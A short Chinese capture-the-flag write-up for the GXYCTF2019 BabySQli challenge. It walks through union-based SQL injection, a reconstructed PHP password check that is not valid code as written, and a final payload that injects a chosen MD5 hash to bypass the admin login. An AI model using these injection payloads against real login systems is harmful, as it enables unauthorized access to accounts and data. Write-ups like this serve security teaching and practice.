[GXYCTF2019]BabySQli

0x00 知识点

emmm这道题目就是脑洞得大，能猜后端源码

0x01 解题

查看源码：

base32,base64解码得到

select * from user where username = '$name'

提示我们 要从 username 入手我们查看下 他有几个字段

得到字段为3：

admin' union select 1,2,3#

我们开始常规注入：

admin' union select 1,2,3#

这里提示wrong user,用户名错误,猜测为admin

我们把admin 放到第二个位置 不报错

得到第二个字段就是我们的username字段

admin' union select 1,'admin',3#

这里看网上师傅博客，有md5提示，我并没有看到--

于是我们便可以去猜测 它的后端是怎么写的:

<?php$row;
$pass=$_POST['pw'];
if($row['username']==’admin’){
if($row['password']==md5($pass)){
echo $flag;
}else{ echo “wrong pass!”;
}}
else{ echo “wrong user!”;}

就是 我们的sql语句执行时，passsword字段中的内容要==md5(我们密码栏输入的password)然后我们便随便找个 密码 就123吧：

明文：123md5 : 202cb962ac59075b964b07152d234b70

于是我们便构造这样的payload：

username栏：

0' union select 0,'admin','e10adc3949ba59abbe56e057f20f883e'#

password栏：123456

登录便可以得到